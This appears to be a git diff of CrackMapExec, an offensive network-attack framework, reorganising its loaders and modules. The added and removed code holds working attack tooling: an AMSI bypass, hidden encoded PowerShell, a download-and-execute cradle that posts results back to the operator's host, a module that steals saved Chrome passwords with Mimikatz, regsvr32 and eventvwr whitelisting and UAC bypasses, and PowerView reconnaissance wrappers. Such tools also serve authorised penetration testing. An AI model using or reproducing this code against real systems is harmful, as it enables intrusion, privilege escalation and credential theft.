self.__iWbemServices.RemRelease() - self.__dcom.disconnect() - - def describe(self, sClass): - sClass = sClass.strip('\n') - if sClass[-1:] == ';': - sClass = sClass[:-1] - try: - iObject, _ = self.iWbemServices.GetObject(sClass) - iObject.printInformation() - iObject.RemRelease() - except Exception as e: - traceback.print_exc() - - def printReply(self, iEnum): - printHeader = True - while True: - try: - pEnum = iEnum.Next(0xffffffff,1)[0] - record = pEnum.getProperties() - line = [] - for rec in record: - line.append('{}: {}'.format(rec, record[rec]['value'])) - self.__logger.highlight(' | '.join(line)) - except Exception, e: - #import traceback - #print traceback.print_exc() - if str(e).find('S_FALSE') < 0: - raise - else: - break - iEnum.RemRelease() \ No newline at end of file diff --git a/cme/first_run.py b/cme/first_run.py old mode 100644 new mode 100755 index 9aecdbf7..557f59e4 --- a/cme/first_run.py +++ b/cme/first_run.py @@ -2,12 +2,13 @@ import os import sqlite3 import shutil import cme +from cme.loaders.protocol_loader import protocol_loader from subprocess import check_output, PIPE from sys import exit CME_PATH = os.path.expanduser('~/.cme') TMP_PATH = os.path.join('/tmp', 'cme_hosted') -DB_PATH = os.path.join(CME_PATH, 'cme.db') +WS_PATH = os.path.join(CME_PATH, 'workspaces') CERT_PATH = os.path.join(CME_PATH, 'cme.pem') CONFIG_PATH = os.path.join(CME_PATH, 'cme.conf') @@ -18,49 +19,41 @@ def first_run_setup(logger): if not os.path.exists(CME_PATH): logger.info('First time use detected') - logger.info('Creating home directory structure') + logger.info('Creating home directory structure') os.mkdir(CME_PATH) - folders = ['logs', 'modules'] + folders = ['logs', 'modules', 'protocols', 'workspaces'] for folder in folders: os.mkdir(os.path.join(CME_PATH,folder)) - if not os.path.exists(DB_PATH): - logger.info('Initializing the database') - conn = sqlite3.connect(DB_PATH) - c = conn.cursor() + if not os.path.exists(os.path.join(WS_PATH, 'default')): + logger.info('Creating default workspace') + os.mkdir(os.path.join(WS_PATH, 'default')) - # try to prevent some of the weird sqlite I/O errors - c.execute('PRAGMA journal_mode = OFF') + p_loader = protocol_loader() + protocols = p_loader.get_protocols() + for protocol in protocols.keys(): + try: + protocol_object = p_loader.load_protocol(protocols[protocol]['dbpath']) + except KeyError: + continue - c.execute('''CREATE TABLE "hosts" ( - "id" integer PRIMARY KEY, - "ip" text, - "hostname" text, - "domain" test, - "os" text - )''') + proto_db_path = os.path.join(WS_PATH, 'default', protocol + '.db') - #This table keeps track of which credential has admin access over which machine and vice-versa - c.execute('''CREATE TABLE "links" ( - "id" integer PRIMARY KEY, - "credid" integer, - "hostid" integer - )''') + if not os.path.exists(proto_db_path): + logger.info('Initializing {} protocol database'.format(protocol.upper())) + conn = sqlite3.connect(proto_db_path) + c = conn.cursor() - # type = hash, plaintext - c.execute('''CREATE TABLE "credentials" ( - "id" integer PRIMARY KEY, - "credtype" text, - "domain" text, - "username" text, - "password" text, - "pillagedfrom" integer - )''') + # try to prevent some of the weird sqlite I/O errors + c.execute('PRAGMA journal_mode = OFF') + c.execute('PRAGMA foreign_keys = 1') - # commit the changes and close everything off - conn.commit() - conn.close() + getattr(protocol_object, 'database').db_schema(c) + + # commit the changes and close everything off + conn.commit() + conn.close() if not os.path.exists(CONFIG_PATH): logger.info('Copying default configuration file') @@ -79,4 +72,4 @@ def first_run_setup(logger): logger.error('Error while generating SSL certificate: {}'.format(e)) exit(1) - os.system('openssl req -new -x509 -keyout {path} -out {path} -days 365 -nodes -subj "/C=US" > /dev/null 2>&1'.format(path=CERT_PATH)) \ No newline at end of file + os.system('openssl req -new -x509 -keyout {path} -out {path} -days 365 -nodes -subj "/C=US" > /dev/null 2>&1'.format(path=CERT_PATH)) diff --git a/cme/credentials/__init__.py b/cme/helpers/__init__.py old mode 100644 new mode 100755 similarity index 100% rename from cme/credentials/__init__.py rename to cme/helpers/__init__.py diff --git a/cme/helpers/logger.py b/cme/helpers/logger.py new file mode 100755 index 00000000..babeaa4c --- /dev/null +++ b/cme/helpers/logger.py @@ -0,0 +1,13 @@ +import os +from termcolor import colored + +def write_log(data, log_name): + logs_dir = os.path.join(os.path.expanduser('~/.cme'), 'logs') + with open(os.path.join(logs_dir, log_name), 'w') as log_output: + log_output.write(data) + +def highlight(text, color='yellow'): + if color == 'yellow': + return u'{}'.format(colored(text, 'yellow', attrs=['bold'])) + elif color == 'red': + return u'{}'.format(colored(text, 'red', attrs=['bold'])) diff --git a/cme/helpers/misc.py b/cme/helpers/misc.py new file mode 100755 index 00000000..c4dfc779 --- /dev/null +++ b/cme/helpers/misc.py @@ -0,0 +1,13 @@ +import random +import string +import re + +def gen_random_string(length=10): + return ''.join(random.sample(string.ascii_letters, int(length))) + +def validate_ntlm(data): + allowed = re.compile("^[0-9a-f]{32}", re.IGNORECASE) + if allowed.match(data): + return True + else: + return False diff --git a/cme/helpers.py b/cme/helpers/powershell.py old mode 100644 new mode 100755 similarity index 68% rename from cme/helpers.py rename to cme/helpers/powershell.py index 5aeb7dda..3e426053 --- a/cme/helpers.py +++ b/cme/helpers/powershell.py @@ -1,30 +1,12 @@ -import random -import string -import re import cme import os import logging +import re from base64 import b64encode -from termcolor import colored - -def gen_random_string(length=10): - return ''.join(random.sample(string.ascii_letters, int(length))) - -def validate_ntlm(data): - allowed = re.compile("^[0-9a-f]{32}", re.IGNORECASE) - if allowed.match(data): - return True - else: - return False def get_ps_script(path): return os.path.join(os.path.dirname(cme.__file__), 'data', path) -def write_log(data, log_name): - logs_dir = os.path.join(os.path.expanduser('~/.cme'), 'logs') - with open(os.path.join(logs_dir, log_name), 'w') as mimikatz_output: - mimikatz_output.write(data) - def obfs_ps_script(script): """ Strip block comments, line comments, empty lines, verbose statements, @@ -38,7 +20,7 @@ def obfs_ps_script(script): def create_ps_command(ps_command, force_ps32=False, nothidden=False): ps_command = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}}; -try{{ +try{{ [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true) }}catch{{}} {} @@ -48,9 +30,9 @@ try{{ if force_ps32: command = """$command = '{}' -if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64') +if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64') {{ - + $exec = $Env:windir + '\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe -exec bypass -window hidden -noni -nop -encoded ' + $command IEX $exec }} @@ -61,7 +43,7 @@ else IEX $exec }}""".format(b64encode(ps_command.encode('UTF-16LE'))) - + if nothidden is True: command = 'powershell.exe -exec bypass -window maximized -encoded {}'.format(b64encode(command.encode('UTF-16LE'))) else: @@ -73,10 +55,26 @@ else else: command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(ps_command.encode('UTF-16LE'))) - return command + return command -def highlight(text, color='yellow'): - if color == 'yellow': - return u'{}'.format(colored(text, 'yellow', attrs=['bold'])) - elif color == 'red': - return u'{}'.format(colored(text, 'red', attrs=['bold'])) \ No newline at end of file +def gen_ps_iex_cradle(server, addr, port, script_name, command): + launcher = ''' + IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{ps_script_name}'); + $cmd = {command}; + $request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/'); + $request.Method = 'POST'; + $request.ContentType = 'application/x-www-form-urlencoded'; + $bytes = [System.Text.Encoding]::ASCII.GetBytes($cmd); + $request.ContentLength = $bytes.Length; + $requestStream = $request.GetRequestStream(); + $requestStream.Write( $bytes, 0, $bytes.Length ); + $requestStream.Close(); + $request.GetResponse();'''.format(server=server, + port=port, + addr=addr, + ps_script_name=script_name, + command=command) + + logging.debug('Generated PS IEX Launcher:\n {}'.format(launcher)) + + return launcher diff --git a/cme/enum/__init__.py b/cme/loaders/__init__.py old mode 100644 new mode 100755 similarity index 100% rename from cme/enum/__init__.py rename to cme/loaders/__init__.py diff --git a/cme/moduleloader.py b/cme/loaders/module_loader.py old mode 100644 new mode 100755 similarity index 64% rename from cme/moduleloader.py rename to cme/loaders/module_loader.py index a5cfad13..437c799d --- a/cme/moduleloader.py +++ b/cme/loaders/module_loader.py @@ -2,12 +2,10 @@ import imp import os import sys import cme -from logging import getLogger from cme.context import Context from cme.logger import CMEAdapter -from cme.cmeserver import CMEServer -class ModuleLoader: +class module_loader: def __init__(self, args, db, logger): self.args = args @@ -26,22 +24,18 @@ class ModuleLoader: self.logger.error('{} missing the description variable'.format(module_path)) module_error = True - elif not hasattr(module, 'chain_support'): - self.logger.error('{} missing the chain_support variable'.format(module_path)) - module_error = True + #elif not hasattr(module, 'chain_support'): + # self.logger.error('{} missing the chain_support variable'.format(module_path)) + # module_error = True + + elif not hasattr(module, 'supported_protocols'): + self.logger.error('{} missing the supported_protocols variable'.format(module_path)) + module_error = True elif not hasattr(module, 'options'): self.logger.error('{} missing the options function'.format(module_path)) module_error = True - elif not hasattr(module, 'launcher'): - self.logger.error('{} missing the launcher function'.format(module_path)) - module_error = True - - elif not hasattr(module, 'payload'): - self.logger.error('{} missing the payload function'.format(module_path)) - module_error = True - elif not hasattr(module, 'on_login') and not (module, 'on_admin_login'): self.logger.error('{} missing the on_login/on_admin_login function(s)'.format(module_path)) module_error = True @@ -67,22 +61,19 @@ class ModuleLoader: if module[-3:] == '.py' and module != 'example_module.py': module_path = os.path.join(path, module) m = self.load_module(os.path.join(path, module)) - if m: - modules[m.name] = {'path': os.path.join(path, module), 'description': m.description, 'options': m.options.__doc__, 'chain_support': m.chain_support} + if m and (self.args.protocol in m.supported_protocols): + modules[m.name] = {'path': os.path.join(path, module), 'description': m.description, 'options': m.options.__doc__}#'chain_support': m.chain_support} return modules def init_module(self, module_path): module = None - server = None - context = None - server_port_dict = {'http': 80, 'https': 443} module = self.load_module(module_path) if module: - module_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper()}) + module_logger = CMEAdapter(extra={'module': module.name.upper()}) context = Context(self.db, module_logger, self.args) module_options = {} @@ -93,15 +84,4 @@ class ModuleLoader: module.options(context, module_options) - if hasattr(module, 'on_request') or hasattr(module, 'has_response'): - - if hasattr(module, 'required_server'): - self.args.server = getattr(module, 'required_server') - - if not self.args.server_port: - self.args.server_port = server_port_dict[self.args.server] - - server = CMEServer(module, context, self.logger, self.args.server_host, self.args.server_port, self.args.server) - server.start() - - return module, context, server \ No newline at end of file + return module diff --git a/cme/loaders/protocol_loader.py b/cme/loaders/protocol_loader.py new file mode 100755 index 00000000..b8cf7536 --- /dev/null +++ b/cme/loaders/protocol_loader.py @@ -0,0 +1,36 @@ +import imp +import os +import sys +import cme + +class protocol_loader: + + def __init__(self): + self.cme_path = os.path.expanduser('~/.cme') + + def load_protocol(self, protocol_path): + protocol = imp.load_source('protocol', protocol_path) + #if self.module_is_sane(module, module_path): + return protocol + + def get_protocols(self): + protocols = {} + + protocol_paths = [os.path.join(os.path.dirname(cme.__file__), 'protocols'), os.path.join(self.cme_path, 'protocols')] + + for path in protocol_paths: + for protocol in os.listdir(path): + if protocol[-3:] == '.py' and protocol[:-3] != '__init__': + protocol_path = os.path.join(path, protocol) + protocol_name = protocol[:-3] + + protocols[protocol_name] = {'path' : protocol_path} + + db_file_path = os.path.join(path, protocol_name, 'database.py') + db_nav_path = os.path.join(path, protocol_name, 'db_navigator.py') + if os.path.exists(db_file_path): + protocols[protocol_name]['dbpath'] = db_file_path + if os.path.exists(db_nav_path): + protocols[protocol_name]['nvpath'] = db_nav_path + + return protocols diff --git a/cme/logger.py b/cme/logger.py old mode 100644 new mode 100755 index c7296cec..2cbed85d --- a/cme/logger.py +++ b/cme/logger.py @@ -5,7 +5,7 @@ from termcolor import colored from datetime import datetime #The following hooks the FileHandler.emit function to remove ansi chars before logging to a file -#There must be a better way of doing this... +#There must be a better way of doing this, but this way we might save some penguins! ansi_escape = re.compile(r'\x1b[^m]*m') @@ -23,8 +23,8 @@ logging.FileHandler.emit = antiansi_emit class CMEAdapter(logging.LoggerAdapter): - def __init__(self, logger, extra=None): - self.logger = logger + def __init__(self, logger_name='CME', extra=None): + self.logger = logging.getLogger(logger_name) self.extra = extra def process(self, msg, kwargs): @@ -43,12 +43,12 @@ class CMEAdapter(logging.LoggerAdapter): if 'module' in self.extra.keys(): module_name = colored(self.extra['module'], 'cyan', attrs=['bold']) else: - module_name = colored('CME', 'blue', attrs=['bold']) + module_name = colored(self.extra['protocol'], 'blue', attrs=['bold']) return u'{:<25} {}:{} {:<15} {}'.format(module_name, self.extra['host'], - self.extra['port'], - self.extra['hostname'].decode('utf-8') if self.extra['hostname'] else 'NONE', + self.extra['port'], + self.extra['hostname'].decode('utf-8') if self.extra['hostname'] else 'NONE', msg), kwargs def info(self, msg, *args, **kwargs): @@ -111,4 +111,4 @@ def setup_logger(level=logging.INFO, log_to_file=False, log_prefix=None, logger_ cme_logger.setLevel(level) - return cme_logger \ No newline at end of file + return cme_logger diff --git a/cme/modulechainloader.py b/cme/modulechainloader.py deleted file mode 100644 index 124ba351..00000000 --- a/cme/modulechainloader.py +++ /dev/null @@ -1,87 +0,0 @@ -import imp -import os -import sys -import cme -from logging import getLogger -from cme.context import Context -from cme.logger import CMEAdapter -from cme.cmechainserver import CMEChainServer -from cme.moduleloader import ModuleLoader - -class ModuleChainLoader(ModuleLoader): - - def __init__(self, args, db, logger): - ModuleLoader.__init__(self, args, db, logger) - - self.chain_list = [] - - #This parses the chain command - for module in self.args.module_chain.split('=>'): - if '[' in module: - module_name = module.split('[')[0] - module_options = module.split('[')[1][:-1] - - module_dict = {'name': module_name} - - module_dict['options'] = {} - for option in module_options.split(';;'): - key, value = option.split('=', 1) - if value[:1] == ('"' or "'") and value[-1:] == ('"' or "'"): - value = value[1:-1] - - module_dict['options'][str(key).upper()] = value - - self.chain_list.append(module_dict) - - else: - module_dict = {'name': module} - module_dict['options'] = {} - - self.chain_list.append(module_dict) - - def is_module_chain_sane(self): - last_module = self.chain_list[-1]['name'] - - #Confirm that every chained module (except for the last one) actually supports chaining - for module in self.chain_list: - if module['name'] == last_module: - continue - - module_object = module['object'] - if getattr(module_object, 'chain_support') is not True: - return False - - return True - - def init_module_chain(self): - server_port_dict = {'http': 80, 'https': 443} - modules = self.get_modules() - - #Initialize all modules specified in the chain command and add the objects to chain_list - for chained_module in self.chain_list: - for module in modules: - if module.lower() == chained_module['name'].lower(): - chained_module['object'] = self.load_module(modules[module]['path']) - - for module in self.chain_list: - module_logger = CMEAdapter(getLogger('CME'), {'module': module['name'].upper()}) - context = Context(self.db, module_logger, self.args) - - if module['object'] != self.chain_list[-1]['object']: module['options']['COMMAND'] = 'dont notice me senpai' - getattr(module['object'], 'options')(context, module['options']) - - if hasattr(module['object'], 'required_server'): - self.args.server = getattr(module['object'], 'required_server') - - if not self.args.server_port: - self.args.server_port = server_port_dict[self.args.server] - - if self.is_module_chain_sane(): - server_logger = CMEAdapter(getLogger('CME'), {'module': 'CMESERVER'}) - context = Context(self.db, server_logger, self.args) - - server = CMEChainServer(self.chain_list, context, self.logger, self.args.server_host, self.args.server_port, self.args.server) - server.start() - return self.chain_list, server - - return None, None \ No newline at end of file diff --git a/cme/modules/com_exec.py b/cme/modules/com_exec.py deleted file mode 100644 index 40dbd5c8..00000000 --- a/cme/modules/com_exec.py +++ /dev/null @@ -1,99 +0,0 @@ -from cme.helpers import gen_random_string -from sys import exit -import os - -class CMEModule: - - ''' - Executes a command using a COM scriptlet to bypass whitelisting (a.k.a squiblydoo) - - Based on the awesome research by @subtee - - https://gist.github.com/subTee/24c7d8e1ff0f5602092f58cbb3f7d302 - http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html - ''' - - name='com_exec' #Really tempted just to call this squiblydoo - - description = 'Executes a command using a COM scriptlet to bypass whitelisting' - - required_server='http' - - chain_support = True - - def options(self, context, module_options): - ''' - COMMAND Command to execute on the target system(s) (Required if CMDFILE isn't specified) - CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified) - ''' - - if not 'COMMAND' in module_options and not 'CMDFILE' in module_options: - context.log.error('COMMAND or CMDFILE options are required!') - exit(1) - - if 'COMMAND' in module_options and 'CMDFILE' in module_options: - context.log.error('COMMAND and CMDFILE are mutually exclusive!') - exit(1) - - if 'COMMAND' in module_options: - self.command = module_options['COMMAND'] - - elif 'CMDFILE' in module_options: - path = os.path.expanduser(module_options['CMDFILE']) - - if not os.path.exists(path): - context.log.error('Path to CMDFILE invalid!') - exit(1) - - with open(path, 'r') as cmdfile: - self.command = cmdfile.read().strip() - - self.sct_name = gen_random_string(5) - - def launcher(self, context, command): - launcher = 'regsvr32.exe /u /n /s /i:http://{}/{}.sct scrobj.dll'.format(context.localip, self.sct_name) - return launcher - - def payload(self, context, command): - command = command.replace('\\', '\\\\') - command = command.replace('"', '\\"') - command = command.replace("'", "\\'") - - payload = ''' - - - - - - - -'''.format(command) - - context.log.debug('Generated payload:\n' + payload) - - return payload - - def on_admin_login(self, context, connection, launcher, payload): - connection.execute(launcher) - context.log.success('Executed squiblydoo') - - def on_request(self, context, request, launcher, payload): - if '{}.sct'.format(self.sct_name) in request.path[1:]: - request.send_response(200) - request.end_headers() - - request.wfile.write(payload) - request.stop_tracking_host() - - else: - request.send_response(404) - request.end_headers() diff --git a/cme/modules/empire_exec.py b/cme/modules/empire_exec.py deleted file mode 100644 index cae2984b..00000000 --- a/cme/modules/empire_exec.py +++ /dev/null @@ -1,67 +0,0 @@ -import sys -import requests -from requests import ConnectionError - -#The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message -from requests.packages.urllib3.exceptions import InsecureRequestWarning -requests.packages.urllib3.disable_warnings(InsecureRequestWarning) - -class CMEModule: - ''' - Uses Empire's RESTful API to generate a launcher for the specified listener and executes it - Module by @byt3bl33d3r - ''' - - name='empire_exec' - - description = "Uses Empire's RESTful API to generate a launcher for the specified listener and executes it" - - chain_support = False - - def options(self, context, module_options): - ''' - LISTENER Listener name to generate the launcher for - ''' - - if not 'LISTENER' in module_options: - context.log.error('LISTENER option is required!') - sys.exit(1) - - self.empire_launcher = None - - headers = {'Content-Type': 'application/json'} - - #Pull the username and password from the config file - payload = {'username': context.conf.get('Empire', 'username'), - 'password': context.conf.get('Empire', 'password')} - - #Pull the host and port from the config file - base_url = 'https://{}:{}'.format(context.conf.get('Empire', 'api_host'), context.conf.get('Empire', 'api_port')) - - try: - r = requests.post(base_url + '/api/admin/login', json=payload, headers=headers, verify=False) - if r.status_code == 200: - token = r.json()['token'] - - payload = {'StagerName': 'launcher', 'Listener': module_options['LISTENER']} - r = requests.post(base_url + '/api/stagers?token={}'.format(token), json=payload, headers=headers, verify=False) - self.empire_launcher = r.json()['launcher']['Output'] - - context.log.success("Successfully generated launcher for listener '{}'".format(module_options['LISTENER'])) - else: - context.log.error("Error authenticating to Empire's RESTful API server!") - sys.exit(1) - - except ConnectionError as e: - context.log.error("Unable to connect to Empire's RESTful API: {}".format(e)) - sys.exit(1) - - def launcher(self, context, command): - return self.empire_launcher - - def payload(self, context, command): - return - - def on_admin_login(self, context, connection, launcher, payload): - connection.execute(launcher) - context.log.success('Executed Empire Launcher') \ No newline at end of file diff --git a/cme/modules/enum_chrome.py b/cme/modules/enum_chrome.py deleted file mode 100644 index ee01a980..00000000 --- a/cme/modules/enum_chrome.py +++ /dev/null @@ -1,131 +0,0 @@ -from cme.helpers import create_ps_command, get_ps_script, obfs_ps_script, validate_ntlm, write_log -from datetime import datetime -from StringIO import StringIO -import re - -class CMEModule: - ''' - Executes PowerSploit's Invoke-Mimikatz.ps1 script (Mimikatz's DPAPI Module) to decrypt saved Chrome passwords - Module by @byt3bl33d3r - ''' - - name = 'enum_chrome' - - description = "Uses Powersploit's Invoke-Mimikatz.ps1 script to decrypt saved Chrome passwords" - - chain_support = False - - def options(self, context, module_options): - ''' - ''' - return - - def launcher(self, context, command): - - ''' - Oook.. Think my heads going to explode - - So Mimikatz's DPAPI module requires the path to Chrome's database in double quotes otherwise it can't interpret paths with spaces. - Problem is Invoke-Mimikatz interpretes double qoutes as seperators for the arguments to pass to the injected mimikatz binary. - - As far as I can figure out there is no way around this, hence we have to first copy Chrome's database to a path without any spaces and then decrypt the entries with Mimikatz - ''' - - launcher = ''' - $cmd = "privilege::debug sekurlsa::dpapi" - $userdirs = get-childitem "$Env:SystemDrive\Users" - foreach ($dir in $userdirs) {{ - $LoginDataPath = "$Env:SystemDrive\Users\$dir\AppData\Local\Google\Chrome\User Data\Default\Login Data" - - if ([System.IO.File]::Exists($LoginDataPath)) {{ - $rand_name = -join ((65..90) + (97..122) | Get-Random -Count 7 | % {{[char]$_}}) - $temp_path = "$Env:windir\Temp\$rand_name" - Copy-Item $LoginDataPath $temp_path - $cmd = $cmd + " `"dpapi::chrome /in:$temp_path`"" - }} - - }} - $cmd = $cmd + " exit" - - IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Mimikatz.ps1'); - $creds = Invoke-Mimikatz -Command $cmd; - $request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/'); - $request.Method = 'POST'; - $request.ContentType = 'application/x-www-form-urlencoded'; - $bytes = [System.Text.Encoding]::ASCII.GetBytes($creds); - $request.ContentLength = $bytes.Length; - $requestStream = $request.GetRequestStream(); - $requestStream.Write( $bytes, 0, $bytes.Length ); - $requestStream.Close(); - $request.GetResponse();'''.format(server=context.server, - port=context.server_port, - addr=context.localip) - - return create_ps_command(launcher) - - def payload(self, context, command): - - ''' - Since the chrome decryption feature is relatively new, I had to manully compile the latest Mimikatz version, - update the base64 encoded binary in the Invoke-Mimikatz.ps1 script - and apply a patch that @gentilkiwi posted here https://github.com/PowerShellMafia/PowerSploit/issues/147 for the newer versions of mimikatz to work when injected. - - Here we call the updated PowerShell script instead of PowerSploits version - ''' - - with open(get_ps_script('Invoke-Mimikatz.ps1'), 'r') as ps_script: - return obfs_ps_script(ps_script.read()) - - def on_admin_login(self, context, connection, launcher, payload): - connection.execute(launcher, methods=['smbexec', 'atexec']) - context.log.success('Executed launcher') - - def on_request(self, context, request, launcher, payload): - if 'Invoke-Mimikatz.ps1' == request.path[1:]: - request.send_response(200) - request.end_headers() - - request.wfile.write(payload) - - else: - request.send_response(404) - request.end_headers() - - def on_response(self, context, response): - response.send_response(200) - response.end_headers() - length = int(response.headers.getheader('content-length')) - data = response.rfile.read(length) - - #We've received the response, stop tracking this host - response.stop_tracking_host() - - if len(data): - buf = StringIO(data).readlines() - creds = [] - - try: - i = 0 - while i < len(buf): - if ('URL' in buf[i]): - url = buf[i].split(':', 1)[1].strip() - user = buf[i+1].split(':', 1)[1].strip() - passw = buf[i+3].split(':', 1)[1].strip() - - creds.append({'url': url, 'user': user, 'passw': passw}) - - i += 1 - - if creds: - context.log.success('Found saved Chrome credentials:') - for cred in creds: - context.log.highlight('URL: ' + cred['url']) - context.log.highlight('Username: ' + cred['user']) - context.log.highlight('Password: ' + cred['passw']) - context.log.highlight('') - except: - context.log.error('Error parsing Mimikatz output, please check log file manually for possible credentials') - - log_name = 'EnumChrome-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) - write_log(data, log_name) - context.log.info("Saved Mimikatz's output to {}".format(log_name)) diff --git a/cme/modules/eventvwr_bypass.py b/cme/modules/eventvwr_bypass.py deleted file mode 100644 index 9c8bc9c0..00000000 --- a/cme/modules/eventvwr_bypass.py +++ /dev/null @@ -1,76 +0,0 @@ -from cme.helpers import create_ps_command, get_ps_script -from sys import exit - -class CMEModule: - - ''' - Executes a command using the the eventvwr.exe fileless UAC bypass - Powershell script and vuln discovery by Matt Nelson (@enigma0x3) - - module by @byt3bl33d3r - ''' - - name = 'eventvwr_bypass' - - description = 'Executes a command using the eventvwr.exe fileless UAC bypass' - - chain_support = True - - def options(self, context, module_options): - ''' - COMMAND Command to execute on the target system(s) (Required if CMDFILE isn't specified) - CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified) - ''' - - if not 'COMMAND' in module_options and not 'CMDFILE' in module_options: - context.log.error('COMMAND or CMDFILE options are required!') - exit(1) - - if 'COMMAND' in module_options and 'CMDFILE' in module_options: - context.log.error('COMMAND and CMDFILE are mutually exclusive!') - exit(1) - - if 'COMMAND' in module_options: - self.command = module_options['COMMAND'] - - elif 'CMDFILE' in module_options: - path = os.path.expanduser(module_options['CMDFILE']) - - if not os.path.exists(path): - context.log.error('Path to CMDFILE invalid!') - exit(1) - - with open(path, 'r') as cmdfile: - self.command = cmdfile.read().strip() - - def launcher(self, context, command): - launcher = ''' - IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-EventVwrBypass.ps1'); - Invoke-EventVwrBypass -Force -Command "{command}"; - '''.format(server=context.server, - addr=context.localip, - port=context.server_port, - command=command) - - return create_ps_command(launcher) - - def payload(self, context, command): - with open(get_ps_script('Invoke-EventVwrBypass.ps1'), 'r') as ps_script: - return ps_script.read() - - def on_admin_login(self, context, connection, launcher, payload): - connection.execute(launcher) - context.log.success('Executed launcher') - - def on_request(self, context, request, launcher, payload): - if request.path[1:] == 'Invoke-EventVwrBypass.ps1': - request.send_response(200) - request.end_headers() - - request.wfile.write(payload) - - request.stop_tracking_host() - - else: - request.send_response(404) - request.end_headers() \ No newline at end of file diff --git a/cme/modules/example_module.py b/cme/modules/example_module.py index acd5ab54..e1568423 100644 --- a/cme/modules/example_module.py +++ b/cme/modules/example_module.py @@ -4,38 +4,28 @@ class CMEModule: Module by @yomama ''' - name = 'example module' - description = 'Something Something' + description = 'I do something' - #If the module supports chaining, change this to True - chain_support = False + supported_protocols = [] def options(self, context, module_options): '''Required. Module options get parsed here. Additionally, put the modules usage here as well''' pass - def launcher(self, context, command): - '''Required. Generate your launcher here''' - pass - - def payload(self, context, command): - '''Required. Generate your payload here''' - pass - def on_login(self, context, connection): '''Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection''' pass - def on_admin_login(self, context, connection, launcher, payload): + def on_admin_login(self, context, connection): '''Concurrent. Required if on_login is not present. This gets called on each authenticated connection with Administrative privileges''' pass - def on_request(self, context, request, launcher, payload): + def on_request(self, context, request): '''Optional. If the payload needs to retrieve additonal files, add this function to the module''' pass def on_response(self, context, response): '''Optional. If the payload sends back its output to our server, add this function to the module to handle its output''' - pass \ No newline at end of file + pass diff --git a/cme/modules/get_netdomaincontroller.py b/cme/modules/get_netdomaincontroller.py new file mode 100644 index 00000000..386bd3ed --- /dev/null +++ b/cme/modules/get_netdomaincontroller.py @@ -0,0 +1,55 @@ +from cme.helpers.powershell import * +from cme.helpers.logger import write_log, highlight +from datetime import datetime + +class CMEModule(): + + name = 'get_netdomaincontroller' + description = "Wrapper for PowerView's Get-NetDomainController" + supported_protocols = ['mssql', 'smb'] + + def options(self, context, module_options): + pass + + def on_admin_login(self, context, connection): + command = 'Get-NetDomainController | select Name,Domain,IPAddress | Out-String' + launcher = gen_ps_iex_cradle(context.server, context.localip, context.server_port, 'PowerView.ps1', command) + ps_command = create_ps_command(launcher) + + connection.execute(ps_command, methods=['smbexec', 'atexec']) + context.log.success('Executed launcher') + + def on_request(self, context, request): + if 'PowerView.ps1' == request.path[1:]: + request.send_response(200) + request.end_headers() + + with open(get_ps_script('PowerSploit/Recon/PowerView.ps1'), 'r') as ps_script: + payload = obfs_ps_script(ps_script.read()) + request.wfile.write(payload) + + else: + request.send_response(404) + request.end_headers() + + def on_response(self, context, response): + response.send_response(200) + response.end_headers() + length = int(response.headers.getheader('content-length')) + data = response.rfile.read(length) + + #We've received the response, stop tracking this host + response.stop_tracking_host() + + dc_count = 0 + if len(data): + context.log.info('Parsing output, please wait...') + buf = StringIO(data).readlines() + for line in buf: + if line != '\r\n' and not line.startswith('Name') and not line.startswith('---'): + hostname, domain, ip = filter(None, line.strip().split(' ')) + #logging.debug('{} {} {}'.format(hostname, domain, ip)) + context.db.add_host(ip, hostname, domain, '', dc=True) + dc_count += 1 + + context.log.success('Added {} Domain Controllers to the database'.format(highlight(dc_count))) diff --git a/cme/modules/get_netgroup.py b/cme/modules/get_netgroup.py new file mode 100644 index 00000000..641bd3b4 --- /dev/null +++ b/cme/modules/get_netgroup.py @@ -0,0 +1,66 @@ +from cme.helpers.powershell import * +from cme.helpers.logger import write_log, highlight +from datetime import datetime + +class CMEModule(): + + name = 'get_netgroup' + description = "Wrapper for PowerView's Get-NetGroup" + supported_protocols = ['mssql', 'smb'] + + def options(self, context, module_options): + ''' + GROUPNAME Return all groups with the specifed string in their name (supports regex) + USERNAME Return all groups that the specifed user belongs to (supports regex) + ''' + + self.group_name = None + self.user_name = None + self.domain = None + + if module_options and 'GROUPNAME' in module_options: + self.group_name = module_options['GROUPNAME'] + + def on_admin_login(self, context, connection): + self.domain = connection.conn.getServerDomain() + + command = 'Get-NetGroup | Out-String' + if self.group_name : command = 'Get-NetGroup -GroupName {} | Out-String'.format(self.group_name) + + launcher = gen_ps_iex_cradle(context.server, context.localip, context.server_port, 'PowerView.ps1', command) + ps_command = create_ps_command(launcher) + + connection.execute(ps_command, methods=['smbexec', 'atexec']) + context.log.success('Executed launcher') + + def on_request(self, context, request): + if 'PowerView.ps1' == request.path[1:]: + request.send_response(200) + request.end_headers() + + with open(get_ps_script('PowerSploit/Recon/PowerView.ps1'), 'r') as ps_script: + payload = obfs_ps_script(ps_script.read()) + request.wfile.write(payload) + + else: + request.send_response(404) + request.end_headers() + + def on_response(self, context, response): + response.send_response(200) + response.end_headers() + length = int(response.headers.getheader('content-length')) + data = response.rfile.read(length) + + #We've received the response, stop tracking this host + response.stop_tracking_host() + + group_count = 0 + if len(data): + context.log.info('Parsing output, please wait...') + buf = StringIO(data).readlines() + for line in buf: + context.db.add_group(self.domain, line.strip()) + group_count += 1 + + context.log.success('Added {} groups to the database'.format(highlight(group_count))) 